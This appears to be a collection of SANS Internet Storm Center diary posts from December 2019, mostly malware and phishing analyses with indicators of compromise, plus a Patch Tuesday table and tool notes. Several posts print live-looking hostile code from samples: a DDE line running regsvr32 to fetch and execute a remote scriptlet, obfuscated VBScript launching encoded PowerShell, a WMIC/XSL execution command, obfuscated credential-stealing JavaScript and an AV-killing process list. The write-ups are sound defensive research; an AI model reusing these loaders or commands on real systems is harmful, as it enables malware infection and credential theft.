Tag Archives: SANS

Analyst Webcast: Protecting the User: A Review of Mimecasts Web Security Service – December 12, 2019 1:00pm US/Eastern

This post was originally published on this site

Speakers: David Szili

The web remains a primary vector for cyberattacks, as either the initiation point or the way to complete an adversary’s mission. Unsuspecting employees remain in the firing line despite security awareness training and increasingly intelligent security controls. In this webcast, SANS instructor David Szili will discuss his perspectives on best practices for securing the web in general and his experience using the Mimecast Web Security cloud service in particular.

David will discuss using the Mimecast Web Security service to set policies to identify and block dangerous sites and manage which employees can access which sites as part of an acceptable use program. He will also walk attendees through the built-in reporting capabilities, dashboards, and best practices for setting up and using the service. Attendees will also learn how the web security tools are integrated with the Mimecast Secure Email Gateway with Targeted Threat Protection for simplified setup and the most effective way to manage and block malware and other threats using a single cloud platform.

Register for this webcast and be among the first to receive the associated whitepaper written by SANS instructor David Szili.

Code & Data Reuse in the Malware Ecosystem, (Thu, Dec 12th)

This post was originally published on this site

In the past, I already had the opportunity to give some “security awareness” sessions to developers. One topic that was always debated is the reuse of existing code. Indeed, for a developer, it’s tempting to not reinvent the wheel when somebody already wrote a piece of code that achieves the expected results. From a gain of time perspective, it’s a win for the developers who can focus on other code. Of course, this can have side effects and introduce bugs, backdoors, etc… but it’s not today’s topic. Malware developers are also developers and have the same behavior. Code reuse has been already discussed several times[1]. For example, tools exist to detect cloned or reused code in the IDA disassembler[2][3].

A Trendmicro report demonstrated that different malware families (URSNIF, EMOTET, DRIDEX, and BitPaymer) have code similarities[4].

But, code or data reuse is present everywhere, even in simple macro languages. Yesterday, I found an interesting sample that contained a function to kill AV and other security products. To achieve this, the best approach is to have a list of potential process names, search for them and try to kill the process:

a2adguard.exe
a2adwizard.exe
a2antidialer.exe
a2cfg.exe
a2cmd.exe
a2free.exe
a2guard.exe
a2hijackfree.exe
a2scan.exe
a2service.exe
a2start.exe
a2sys.exe
a2upd.exe
aavgapi.exe
aawservice.exe
aawtray.exe
ad-aware.exe
ad-watch.exe
[...]

The complete list contained 233 items! On Twitter, one of my followers pointed me to a GitHub page that had a file containing exactly… 233 items! I searched for more references and found other ones which also contained the same list:

  • Reverse Shell Backdoor framework[5]
  • Dr0p1t framework[6]
  • Metasploit[7]

Why malware developers should take time to compile their own list of interesting processes while such lists are already publicly available? If you have written some code or compiled data like those and published them somewhere (for any valid reason – nothing malicious), they’re chances that they will be found and (ab)used by attackers in their code!  The best example is Mimikatz that has been (and is still) used in many attacks. This is valid not only for pieces of code but also for any “data”. Keep this in mind!

[1] https://www.first.org/resources/papers/london2019/1630-Code-Reuse-Analysis-Holtzman-.pdf
[2] https://github.com/BinSigma/BinClone
[3] https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml
[4] https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/
[5] https://github.com/tarcisio-marinho/RSB-Framework/blob/master/Python/victim/av.txt
[6] https://github.com/D4Vinci/Dr0p1t-Framework/blob/master/resources/killav.py
[7] https://github.com/rapid7/metasploit-framework/blob/master/scripts/meterpreter/getcountermeasure.rb

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

German language malspam pushes yet another wave of Trickbot, (Wed, Dec 11th)

This post was originally published on this site

Introduction

On Tuesday 2019-12-10, artifacts found through VirusTotal reveal a wave of German language emails pushed Trickbot.  Today’s diary reviews information from this specific channel of Trickbot distribution.

The malspam

I only found one example of the malicious spam (malspam) in VirusTotal as shown below.


Shown above:  An example of German malspam pushing Trickbot.


Shown above:  An example of the Word documents from this malspam.

Infection traffic

Infection traffic is typical for what I’ve seen with Trickbot for the past several months.


Shown above:  Traffic from the infection filtered in Wireshark.


Shown above:  HTTP traffic to retrieve a Windows executable for Trickbot.


Shown above:  Traffic from later during the infection, filtered in Wireshark.


Shown above:  HTTP traffic caused by Trickbot’s password grabber module.

Forensics on an infected Windows host

See the images below covering artifacts found during forensics on a Windows host infected with this sample of Trickbot.


Shown above:  Artifacts dropped on a Windows host after enabling macros on the Word document.


Shown above:  Trickbot installed on an infected Windows host.


Shown above:  Scheduled task to keep Trickbot persistent on an infected Windows host.

Indicators of Compromise (IoC)

File names for 17 of the Word docs found on VirusTotal:

  • diebewerbung391.doc
  • diebewerbung393.doc
  • diebewerbung423.doc
  • diebewerbung447.doc
  • diebewerbung457.doc
  • diebewerbung467.doc
  • diebewerbung469.doc
  • diebewerbung487.doc
  • Mietvertrag370.doc
  • Mietvertrag404.doc
  • Mietvertrag406.doc
  • Mietvertrag416.doc
  • Mietvertrag424.doc
  • Mietvertrag440.doc
  • Mietvertrag446.doc
  • Mietvertrag454.doc
  • Mietvertrag458.doc

SHA256 hashes for 17 of the Word docs found on VirusTotal:

  • 01968f30b665f54b1b403dec93184cc75772c3727b96e32dd76926b90926115c
  • 08852de6bdf8c609a9df42c985135cba2ac4e613295a9fbdcabc78717b39d345
  • 19abd94a36f94f203a4c137d38c41d5affb9b6ca51440927644f64877d2d6fdd
  • 3390b7f9d7addaa79a5e700525d3608bce841defece1abd746cc20aca31f29ce
  • 342df0eea6961b16e84b7055f920932fa7b950a911a85cf622880dbf8c180abd
  • 3c26a38189416085d386c4d4c2c930add1f318b9fe62215742fa0b4c89112365
  • 4929295c2a0e668109ae6255e516f37348d183a9efc6c33a96a3f48d477be6a7
  • 4bb2bce3c63454db676fcef2ac9faafdf088b78376877ed98de700d1ee9f25f9
  • 5957871ecf9a5a0d1dc35f428ed012ed75749861ef50e2407190f5602601bedc
  • 9c26146a6d922670975c68c67de89c39da10552f0bd12b1147f59d539092dcf8
  • 9e5be910981c5521cc551b1e6a967e6e88a4b85540abd2cbf38698bcedee00a6
  • a2542f5890994081acf477727b67defa06153383837bb23a6b5581d347f1459c
  • d123dc5fa735b737e028598979f9e289dd1663f00041ddbc37bb9ba6ef02446f
  • d3c83590df348811aacd3a92cb1282b1df29438be08723a5e6c98b1ed1fe78e2
  • e544449c77868b62904184d7ea9f90abe4bff773f3f648f51e42ab4d3754bcd0
  • e5b4f3760e0a2ae92dc0e946d473e4fa2c7d198712580ddb19ef1c18e8b99d11
  • f3f1a36dbc2731fbb043941867988011f186b127745f7f6c27a7ad8319964b0c

SHA256 hashes for the downloaded Trickbot executable file:

  • 138f012ce2a236be4d983f1b621efc5a968a6ea37927c49b37fe39e70bc80d29
  • 817c7003b9f1d3b6b576422d5ff04ec9aa662d602b74b26a4fb03e6483d0ab6e

Infection traffic:

  • 162.241.24[.]101 port 80 – www.tinystudiocollective[.]com – GET /meta/21.exe
  • port 80 – ipecho[.]net – GET /plain
  • port 443 – ipecho[.]net – HTTPS traffic
  • 170.238.117[.]187 port 8082 – 170.238.117[.]187 – POST /mango21/[string of characters]
  • 131.161.253[.]190 port 449 – HTTPS/SSL/TLS traffic caused by Trickbot
  • 181.129.104[.]139 port 449 – HTTPS/SSL/TLS traffic caused by Trickbot
  • 185.14.28[.]107 port 447 – HTTPS/SSL/TLS traffic caused by Trickbot
  • 190.214.13[.]2 port 449 – HTTPS/SSL/TLS traffic caused by Trickbot
  • 195.123.245[.]127 port 443 – HTTPS/SSL/TLS traffic caused by Trickbot
  • 23.202.231[.]166 port 448 – Attempted TCP connections, but no response from the server
  • 23.217.138[.]107 port 448 – Attempted TCP connections, but no response from the server

Final words

Trickbot executable files are tagged with a marker that identifies the specific campaign used to distribute it.  The tag (usually referred to as “gtag”) is shown in URLs generated by Trickbot’s password grabber module, which caused HTTP traffic over TCP port 8082.  The gtag for this infection was mango21.

A pcap of the infection traffic, some associated malware, and an example of the malspam can be found here.


Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Microsoft December 2019 Patch Tuesday, (Tue, Dec 10th)

This post was originally published on this site

This month we got patches for 36 vulnerabilities total. From those, seven are rated critical and one is already being exploited according to Microsoft. 

The exploited vulnerability (CVE-2019-1458) may allow a local attacker to elevate privileges and run arbitrary code in kernel mode. This vulnerability was reported by Kaspersky Labs and, according to Zero Day Initiative  (ZDI) [1], Kaspersky also reported a UAF vulnerability in Google Chrome web browser [2] early November this year. When Chrome bug became public, there were speculations that it was being used in conjunction with a Windows Kernel bug to escape the sandbox. According to ZDI, while its not confirmed CVE-2019-1458 is connected to Chrome attacks, this is the type of bug that could be used to perform a sandbox escape. 

Amongst critical vulnerabilities, it worth mentioning CVE-2019-1471 a Windows Hyper-V Remote Code Execution Vulnerability. To exploit the vulnerability, an attacker could run a specially crafted application on a guest operating system that could cause the Hyper-V host operating system to execute arbitrary code.

See Renato’s dashboard for a more detailed breakout: https://patchtuesdaydashboard.com

December 2019 Security Updates

Description

CVE

Disclosed

Exploited

Exploitability (old versions)

current version

Severity

CVSS Base (AVG)

CVSS Temporal (AVG)

Git for Visual Studio Remote Code Execution Vulnerability

%%cve:2019-1349%%

N

N

Critical

 

 

%%cve:2019-1350%%

N

N

Critical

 

 

%%cve:2019-1352%%

N

N

Critical

 

 

%%cve:2019-1354%%

N

N

Critical

 

 

%%cve:2019-1387%%

N

N

Critical

 

 

Git for Visual Studio Tampering Vulnerability

%%cve:2019-1351%%

N

N

Moderate

 

 

Latest Servicing Stack Updates

ADV990001

N

N

Critical

 

 

Microsoft Access Information Disclosure Vulnerability

%%cve:2019-1400%%

N

N

Important

 

 

%%cve:2019-1463%%

N

N

Important

 

 

Microsoft Authentication Library for Android Information Disclosure Vulnerability

%%cve:2019-1487%%

N

N

Important

 

 

Microsoft Defender Security Feature Bypass Vulnerability

%%cve:2019-1488%%

N

N

Important

3.3

3.0

Microsoft Excel Information Disclosure Vulnerability

%%cve:2019-1464%%

N

N

Important

 

 

Microsoft Guidance for cleaning up orphaned keys generated on vulnerable TPMs and used for Windows Hello for Business

ADV190026

N

N

 

 

Microsoft PowerPoint Remote Code Execution Vulnerability

%%cve:2019-1462%%

N

N

Important

 

 

Microsoft SQL Server Reporting Services XSS Vulnerability

%%cve:2019-1332%%

N

N

Important

 

 

Microsoft Word Denial of Service Vulnerability

%%cve:2019-1461%%

N

N

Less Likely

Less Likely

Important

 

 

Remote Desktop Protocol Information Disclosure Vulnerability

%%cve:2019-1489%%

N

N

Important

 

 

Skype for Business Server Spoofing Vulnerability

%%cve:2019-1490%%

N

N

Important

 

 

VBScript Remote Code Execution Vulnerability

%%cve:2019-1485%%

N

N

Important

7.5

6.7

Visual Studio Live Share Spoofing Vulnerability

%%cve:2019-1486%%

N

N

Important

 

 

Win32k Elevation of Privilege Vulnerability

%%cve:2019-1458%%

N

N

Important

7.8

7.2

Win32k Graphics Remote Code Execution Vulnerability

%%cve:2019-1468%%

N

N

Critical

8.4

7.6

Win32k Information Disclosure Vulnerability

%%cve:2019-1469%%

N

N

Important

5.5

5.0

Windows COM Server Elevation of Privilege Vulnerability

%%cve:2019-1478%%

N

N

Important

7.8

7.0

Windows Elevation of Privilege Vulnerability

%%cve:2019-1476%%

N

N

Important

7.8

7.0

%%cve:2019-1483%%

N

N

Important

7.8

7.0

Windows GDI Information Disclosure Vulnerability

%%cve:2019-1465%%

N

N

Important

5.5

5.0

%%cve:2019-1466%%

N

N

Important

5.5

5.0

%%cve:2019-1467%%

N

N

Important

5.5

5.0

Windows Hyper-V Information Disclosure Vulnerability

%%cve:2019-1470%%

N

N

Important

6.0

5.4

Windows Hyper-V Remote Code Execution Vulnerability

%%cve:2019-1471%%

N

N

Critical

8.2

7.4

Windows Kernel Information Disclosure Vulnerability

%%cve:2019-1472%%

N

N

Important

5.5

5.0

%%cve:2019-1474%%

N

N

Important

5.5

5.0

Windows Media Player Information Disclosure Vulnerability

%%cve:2019-1480%%

N

N

Important

5.5

5.0

%%cve:2019-1481%%

N

N

Important

5.5

5.0

Windows OLE Remote Code Execution Vulnerability

%%cve:2019-1484%%

N

N

Important

7.8

7.0

Windows Printer Service Elevation of Privilege Vulnerability

%%cve:2019-1477%%

N

N

Important

7.8

7.0

Windows Remote Desktop Protocol (RDP) Denial of Service Vulnerability

%%cve:2019-1453%%

N

N

Less Likely

Less Likely

Important

7.5

6.7

 

[1] https://www.zerodayinitiative.com/blog/2019/12/10/the-december-2019-security-update-review

[2] https://www.kaspersky.com/blog/google-chrome-zeroday-wizardopium/29126/


Renato Marinho
Morphus Labs| LinkedIn|Twitter

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(Lazy) Sunday Maldoc Analysis, (Mon, Dec 9th)

This post was originally published on this site

I received another malicious Word document: with VBA macros and string obfuscation, launching a PowerShell downloader. As classic as they come.

The VBA code is not too long, and the obfuscation is not that hard. It makes a good example for static analysis.

I start the analysis with my tool oledump.py, this will give me an overview of the streams (including VBA macro streams) contained in the document:


Stream 8 has an M indicator: this stream contains VBA macros. Using option -s 8 to select stream 8, and option –vbadecompressskipattributes to decompress the VBA macros without showing the hidden attributes (usually I just use option -v, since I don’t mind seeing the hidden attributes), I get to see the VBA code:


There’s a Document_Open subroutine: this will be executed once the document is opened and the user has accepted the warning(s). It assigns a different number to three variables, and then calls function besb repeatedly with a number as argument.

These numbers are mostly different. Function besb takes the argument (a number), divides it by 23 and multiplies it with 1. Then it converts the obtained number to a character (chr function), and concatenates it into variable ahiv.
Finally, subroutine Document_Open executes (run) string ahiv.

With this information, I know that the numbers represent a command and that I can obtain that command by dividing each number by 23 and then converting it to a character. Typically, one would write a small custom script to do this, but as I often have to do such conversions, I made my own tool to help with this: numbers-to-string.py.

Numbers-to-string.py takes text as input, extracts the numbers it finds on each line (provided there are at least 3 numbers per line), transforms the numbers according to a given formula, and then converts them to a string.

I will use this to decode the command. First I select all VBA source code lines with function besb using grep. Since identifiers in VBA are not case-sensitive, I use option -i, just in case the malware author was not consistent in his case use for function name besb.


Next, I use numbers-to-string.py to process each number. Since by default, my tool expects 3 numbers per line, and here I have only one number per line, I use option -n 1 to have my tool process each line with 1 number or more.
Each number has to divided by 23: I use expression “n / 23” to achieve this. Here is the complete command:


When I read the characters from top to bottom, I see a command forming: powershell iex …

My final step is to use option -j to join all lines together:

Like I said: a classic example.

Yet, there is something unusual about this document. To be continued …

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Wireshark 3.0.7 Released, (Sun, Dec 8th)

This post was originally published on this site

Wireshark version 3.0.7 was released.

It has a vulnerability fix and bug fixes.

The vulnerability in the CMS dissector can be abused to cause a crash: %%cve:2019-19553%%

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Integrating Pi-hole Logs in ELK with Logstash, (Sat, Dec 7th)

This post was originally published on this site

I wanted to parse and ingest my Pi-hole DNS logs for a while now in Elasticsearch to be able to analyze them in various ways. I wrote four separate Grok parser for Logstash to send the logs to a ELK stack. I am now able to view and analyze which domains have been Sinkhole by gravity.list or regex.list (custom wildcard lists) and create the necessary dashboards to report on the DNS traffic. This is an example of the output in Discover. In this example, I have filtered out the dns_type: forwarded.


The configuration file can be downloaded here.

[1] https://pi-hole.net/
[2] https://handlers.sans.edu/gbruneau/elk/pihole.conf
[3] https://www.elastic.co/

———–
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Phishing with a self-contained credentials-stealing webpage, (Fri, Dec 6th)

This post was originally published on this site

Phishing e-mails which are used to steal credentials usually depend on user clicking a link which leads to a phishing website that looks like login page for some valid service. Not all credentials-stealing has to be done using a remote website, however.

I recently came across an interesting phishing campaign in which the scammers used a rather novel technique. The e-mail looked like a traditional payment notice phishing with a fairly usual text.

Good Day

Please find attached a copy of your payment notification

Kind Regards,
James Watson

The HTML attachment it carried, however, turned out to be anything but usual. When HTML attachments are used in a credentials-stealing phishing, the HTML code usually either redirects the browser to a fake login page, or it directly loads the fake login page from a source on the internet[1]. This HTML page turned out not to do either of those.

When I opened the 930 kB long file in a text editor, the only text visible at first glance was on the first line:

<!-- Internal Server Error -->

After it, there were 4735 empty lines followed by a lot of obfuscated JavaScript along with several legitimate and only Base64-encoded JavaScript libraries (e.g. jQuery, Bootstrap,…). Here is a small sample of the obfuscated JavaScript.

function m600(src5){var xwjc,m7hv=Function,z120,mdid,zf2p="NFj:otBH"z]%*,Zv0k4?XEdR9;1JQeIgK&!_yc{iDx) 3up7}w|WS6nr#~s/$nm(@=LVU2T[fPMhCb^r+-.Y8aOt'lq>AG5<",hcbn=zf2p.length,g6j7={cd:""},ue=new m7hv("ret"+"urn unesc"+"ape")(),djkh=new m7hv("x",ue("%74hi%73.c%64+=x")),pcjj=new m7hv("x","y",ue("%72et%75rn%20x.c%68ar%41t(%79)"));for(xwjc=0;xwjc<src5.length;xwjc++){mdid=pcjj(src5,xwjc);z120=zf2p.indexOf(mdid);if(z120>-1){z120-=(xwjc+1)%hcbn;if(z120<0){z120+=hcbn;}djkh.call(g6j7,pcjj(zf2p,z120));}else{djkh.call(g6j7,mdid);}}new m7hv(ue("%64oc%75me%6Et.w%72it%65(t%68is.%63d)%3Bth%69s.c%64=n%75ll")).call(g6j7);}m600("NbqL5wNGTxCxMzZ>pHxvXYJ.n-=PX;I%9NQgy? nCc)=Y$lOT?f+?~X/}OtdWFrA!P}#zOtgCdDFr{r+-.H,,Lq7Zd5d i)st>)1}mY1aQtI{/?Mrz~9.;*tYIXfXsrt[@ZJD(na-L!}qw_GlM/c>?C8F$8aOt''k"'s}fNl'R?oS-3TYzKMg-pIb.?KNOjn:~4?XEdR&NiW:5:"n}

Since the JavaScript was over 600k characters long (not counting the legitimate libraries), manual de-obfuscation and analysis of the code was not a realistic option. The next step, therefore, was to take a look at the website in a browser. After opening the file in Chrome in a VM, it became obvious why the script was so large. Unlike most other HTML-based phishing attachments, this one didn’t depend on an external fake login page, but carried the entire thing inside its body.

Although the page was supposed to look like a Microsoft site, the scammers provided a list multiple valid e-mail providers one could use to “log in”.

After a user supplies an e-mail and a password, the page appears to contact the relevant e-mail server.

In reality, however, it sends a HTTP GET request containing credentials specified by the user to a remote web server at hxxp://7l748.l748393.96.lt/.

Afterwards, an additional request for a phone number and a recovery e-mail is displayed to the user. When that is filled in as well (and sent to the same domain as before, although this time using a HTTP POST), the browser is redirected to a low-quality picture of the supposed invoice (at least I assume that is what it’s supposed to look like) and after a couple of seconds redirected again, this time to either a legitimate Microsoft site or to the domain specified in the recovery e-mail supplied by the user.

Sending user’s credentials to a server and then redirecting their browser to a legitimate site is a fairly common behavior for a phishing page. Although, to add insult to injury, in this case the phishing page not only steals the credentials but also transmits them over the network without any encryption in plain HTTP.

Besides that, the only unusual part of this phishing remains the fact the entire phishing page is delivered as an attachment. My suspicion is that this was intended to bypass security filters and analytics on web proxies (or provided by SafeLinks), but whatever the reason was, the idea is quite intriguing.

Although this isn’t the first phishing campaign with a similar “self-contained” website, this was the first time I came across such a complex HTML phishing attachment, i.e. one, that carried all the libraries and files in one package and didn’t depend on a remote server for anything else than for collecting the stolen credentials.

 

Invoice.html    
MD5 – 754860e44426eb50ff73597650d4d4b3
SHA1 – abb8536392fc6a721ae6f5ba7f377eaca3b4ae96    8bf20f30

———–
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

E-mail from Agent Tesla, (Thu, Dec 5th)

This post was originally published on this site

Last Thursday, only a day after Brad wrote a Diary about discovering Agent Tesla sample in Any.Run[1], I found a request for analysis of a suspicious file in my inbox. The file turned out to be the first part of a multi-stage downloader for Agent Tesla and since Brad wrote about what happens after this malware arrives at the target (i.e. data exfiltration using SMTP), I thought that a closer look at what comes before the infection might nicely complete the picture of how the malware operates.

In this campaign, the first stage of the dropper was a file with a DOT extension, sent as an attachment of a phishing e-mail trying to appear as a request for quotation. DOT files are old-type Word templates and since modern Word can still use them and they may contain macros without it being apparent from the extension, they are among the potentially useful file types for macro-based phishing attachments. And since DOT files attached to e-mail messages are nowadays seldom above-board, blacklisting the extension on an e-mail gateway may not be a bad idea to consider.

 

In this case, however, the DOT file wasn’t a Word document at all, but rather a renamed Rich Text File containing nothing but a DDE[2] call intended to download and run a WSC file, containing the second stage of the downloader, using regsvr32.

{rtf1{field{*fldinst*rtf dDEAUto "c:winDoWsSySTEM32cmD.EXE" "/c regSvR32 -S -n /U -i:https://fajr.com/rummz.wsc SCRObj.dll"}}}

 

After opening the DOT file in Word, the usual DDE-related message boxes would jump up at the user and, provided the user would press the right buttons, the WSC file would be downloaded and executed.

 

A WSC (Windows Script Component) file is basically just a script in an XML envelope and although use of this format to spread malicious code is not a new technique[3], it is not overly common either. In the case of the Agent Tesla spreading campaign, the WSC file contained VBscript intended to use  PowerShell to download the Agent Tesla malware itself into the AppData folder as “gifgmimgifg.exe” and then run it.

<?xMl version = " 237654691241.7 " ?>
<scriptlet>
<registration
progid = "q"
classid = "{B28214B5-40E3-4058-856E-B187E918E0A4}" >
<script language="vBsCRIpT">
<![CDATA[
dim zvyhbmmhihovqq : DiM whkfvolnqyynrb : Set zvyhbmmhihovqq = creatEObJECT ( cHr(&h77) & ChR(&h73) & cHr(&h63) & cHR(&H52) & CHrw(&h69) & ChrW(&H70) & chRW(&H74) & CHr(&h2E) & ChR(&h73) & chRW(&h48) & chR(&H65) & Chr(&h6c) & chrw(&h6c) ) : whkfvolnqyynrb = " PoWerSHEll.exe -Ex ByPAss -NOp -W 1 -Ec IAA
...
ABlAB0g " : zvyhbmmhihovqq.run CHr ( 34 ) & zvyhbmmhihovqq.eXpANdeNVironMenTStrInGs( Chr(&H25) & Chr(&H43) & Chr(&H4F) & Chr(&H6D) & Chr(&H53) & Chr(&H70) & ChrW(&H65) & ChrW(&H63) & Chr(&H25) ) & ChR ( 34 ) & chr ( 34 ) & Chr(&H2F) & Chr(&H43) & ChrW(&H20) & whkfvolnqyynrb & chr ( 34 ) , 0 : SEt zvyhbmmhihovqq = nOTHiNG
]]>
</script>
</registration>
</scriptlet>

 

The final executable of Agent Tesla seemed quite similar to the one Brad found – at first glance, there were only two differences. The first was the use of a different e-mail account to upload stolen data. I recorded the following SMTP stream using Any.Run, as the malware didn’t try to exfiltrate any data from my local VM (probably due to some anti-sandboxing measure, although this is a conjecture on my part – the executable was heavily obfuscated and I didn’t have much time to spend on analyzing it).

 

The second difference was in the file the malware was disguised as. This version of Agent Tesla was supposed to look (not counting the icon) as RAMMap, a tool which is part of the SysInternals toolkit.

 

The following chart shows relationships between all the files mentioned in the Diary and under it, you may find all the relevant hashes.

 

PO-0012_doc.dot
MD5 – ba6cc1cbfa2a9ebb006ad22e0c3585ed
SHA1 – aff5bbd13558d9ada120eed34cef778319e65291
 

rummz.wsc
MD5 – d71439df0a524fb1c0c537d9839a8177
SHA1 – 149cbaa8110b153cc69b439b14617a6b8b87af50
 

gifgmimgifg.exe
MD5 – 8fef6028422a91884c5928f6568e4c80
SHA1 – ccf1e3aa6f60304c4888d2d51e56f01b96f7c842

 

[1] https://isc.sans.edu/forums/diary/Finding+an+Agent+Tesla+malware+sample/25554/
[2] https://en.wikipedia.org/wiki/Dynamic_Data_Exchange
[3] https://cofense.com/threat-actors-use-advanced-delivery-mechanism-distribute-trickbot-malware/

———–
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Analysis of a strangely poetic malware, (Wed, Dec 4th)

This post was originally published on this site

Although given its name, one might expect this diary to be about the Elk Cloner[1], that is not the case. The malware we will take a look at is recent and much simpler, yet still interesting in its own way.

Couple of days back, we received a request for analysis of a suspicious Word document from Edina, one of our readers. The DOC file was sent to Edina as an attachment of an e-mail, which contained the following text.

Good Afternoon!

Find the attached doc!
Don't hesitate to ask me any further questions.

zip pass 777

Sincerely,
Brett

Although the sender address was known to Edina, since she didn’t interact with the sender for a couple of years, she was rightly a bit paranoid about opening the attachment. Not wanting to risk her main computer, she tried opening the file on her spare Mac. What greeted her was a blue screen informing her about the need to “Enable content”.

After enabling macros, nothing happened on the Mac. At that point she tried opening the file on a Windows VM, where, after enabling macros, the system started – as Edina wrote to us – “really hogging its resources” and she decided to shut the VM down. Since the behavior of the macro seemed malicious, she wanted to know whether she didn’t compromise her Mac by running it there first.

Given the behavior of the macro, coupled with the fact that malspam uses the “blue screen” trick quite often, it was clear just from the description Edina provided that the file was indeed malicious. But to determine whether it could possibly have a negative impact on a computer running macOS an analysis of the code was in order.

After having a look at the file and dumping the macros (using oledump[2] and olevba[3]), it became clear that the VB code was not only obfuscated, but also contained a lot of nonsensical, yet, if put together, strangely poetic comments, as you may see bellow.

Lamentation supporting
Alcove goods
Informer tools
Biology advertisement significance aggregation
Lets hilarious batteries
Harbour inkjet durability
Spec mauritius bother
Part weblogs shoulder nite power
Google travail soot female
Hygiene affront
Seasonal sharp oc install
Clown
Animate introduction fighters summit ultimate
Career warble firemen
Pelt
Humans antechamber
Jean underworld acquiesce trees
Tart sluts sear
Viral
Linguist participate woeful
Gtk

Although this was not the first time I came across random-looking comments in a malicious code, I don’t think I’ve ever seen ones that reminded me of a poem (even though hardly a good one) before. Originally, the comments were of course spread throughout the macro code, as you may see from the following example of one of three modules (module aWy10) which the DOC contained.

Public Const awBvc5 As Long = 1363 - 1361
Public Const aou8S As String = "c"
Public Const aA3lc As String = ":win"
Public Const aWoLue As String = "dow"
Public Const aoj7m As String = "ste"
Public Const afvBj As String = "mp"
Public Const aMjstx As String = "wm"
Function aQ8dA(ag3Bj9 As String)
Dim aJPgd
aJPgd = Exp(14)
' Lamentation supporting

Set afVdpU = New MSXML2.DOMDocument
Set aSogC8 = afVdpU.createElement("b64")
aSogC8.DataType = "bin.base64"
aSogC8.Text = ag3Bj9
aQ8dA = StrConv(aSogC8.nodeTypedValue, vbUnicode)
Dim aroh3
aroh3 = Exp(10)
' Alcove goods
End Function
Public Sub aXbKPq(aqkDUt, aqiy6, aulyo8)
Dim azkan As Long
Dim aQxSK As Document
Set aQxSK = ActiveDocument
azkan = aQxSK.ActiveWindow.Panes(1).Pages.Count
' Informer tools
aAP5al = aou8S & aA3lc & aWoLue & aoj7m & afvBj
Dim aSROvl
aSROvl = Hex(165)
Set aTcYj = CreateObject("Scripting.FileSystemObject")

Dim azqVKf As Long
azqVKf = ActiveDocument.BuiltinDocumentProperties(wdPropertyPages)
Dim asVSX
For asVSX = 12 To 52
Debug.Print Error(asVSX)
Next asVSX
' Biology advertisement significance aggregation
Set a96yXC = aTcYj.CreateTextFile(aAP5al & "afUsm.xsl", 1)
Dim afQoN As Long
With ActiveDocument
afQoN = .ActiveWindow.Panes(1).Pages.Count
End With
With a96yXC

Dim ac1Ylj As Long
ac1Ylj = ActiveDocument.ActiveWindow.Panes(1).Pages.Count
' Lets hilarious batteries
.Write aqkDUt
.Close
End With
End Sub
Function aSuy8()
Set ajk7Y5 = New adIHY
aYsB6 = ajk7Y5.eatmy.Text
Dim aq0NgL As Long
Dim ajCsz2
aq0NgL = 8
ajCsz2 = 49
aZRShz = aq0NgL * ajCsz2
Dim aZPf2
aZPf2 = Fix(5)
' Harbour inkjet durability
aIHUC1 = ajk7Y5.shorts.Text

a4RZD = Not (a4RZD)
aSuy8 = aYsB6 & aIHUC1
End Function

After a little deobfuscation (parts of which you may try out yourself) it became obvious that the macro was supposed to create a XSL file (“c:windowstempafUsm.xsl”) and then execute code inside it using WMI.

"C:WindowsSystem32wbemWMIC.exe" process list /format:"c:windowstempafUsm.xsl"

XSL files (eXtensible Stylesheet Language) files are used to describe how XML contents are to be styled/displayed, which they may do using a script inside them. Although the use of XSL files in this manner by threat actors is nothing new[4], the technique is quite interesting and not as widely used nor as well-known as many others.

Based on contents of the macros, it was obvious that the Mac, which Edina originally used to open the Word document, wasn’t impacted in any negative way as the malicious code was Windows-specific. Even though determining this was the original objective, since the poetic XSL-and-WMI-using malware seemed interesting I decided to continue on with the analysis. Since I don’t like to spend too much time manually deobfuscating code, in order to determine contents of the XSL file dropped by the DOC file, I spun up a VM, let the macros run and took a look at the resulting afUsm.xsl file.

Although the JScript code inside afUsm.xsl was itself obfuscated, since the obfuscation relied mostly on inclusion of many unused variables and dead code, it was much easier to read than the VB code in the original DOC file. This time, the obfuscated code also contained no comments (which I felt was a bit of a let down). The code was supposed to download a file from the URL hxxp://oaskienerg.com/curoix/jotask.php?l=arlarr12.cab, save it as C:WindowsTempaKEjT.exe and then run the resulting EXE file.

Since the URL mentioned above was unfortunately no longer working when I got to analyzing the malware, I can’t be sure what the final payload was, although given the 777 password, the name of the ZIP file and the behavior of the downloader in general, I feel quite confident it was a variant of Ursnif malware (see diary from Brad from yesterday[5] for more details).

 

info_11_25.doc
MD5 – 30cd9dae692890cd759069838decdc5e
SHA1 – 6c36b413d29cd0e0bab5239f35f4c19e5d98eb0c

afUsm.xsl
MD5 – a82a8840b2dbe8fa5ee9b88c2b58ce77
SHA1 – 774c3f773c4c68e94fa102408490e02bf98e614c

 

[1] https://en.wikipedia.org/wiki/Elk_Cloner
[2] https://blog.didierstevens.com/programs/oledump-py/
[3] https://github.com/decalage2/oletools/wiki/olevba
[4] https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75
[5] https://isc.sans.edu/forums/diary/Ursnif+infection+with+Dridex/25566/

———–
Jan Kopriva
@jk0pr
Alef Nula

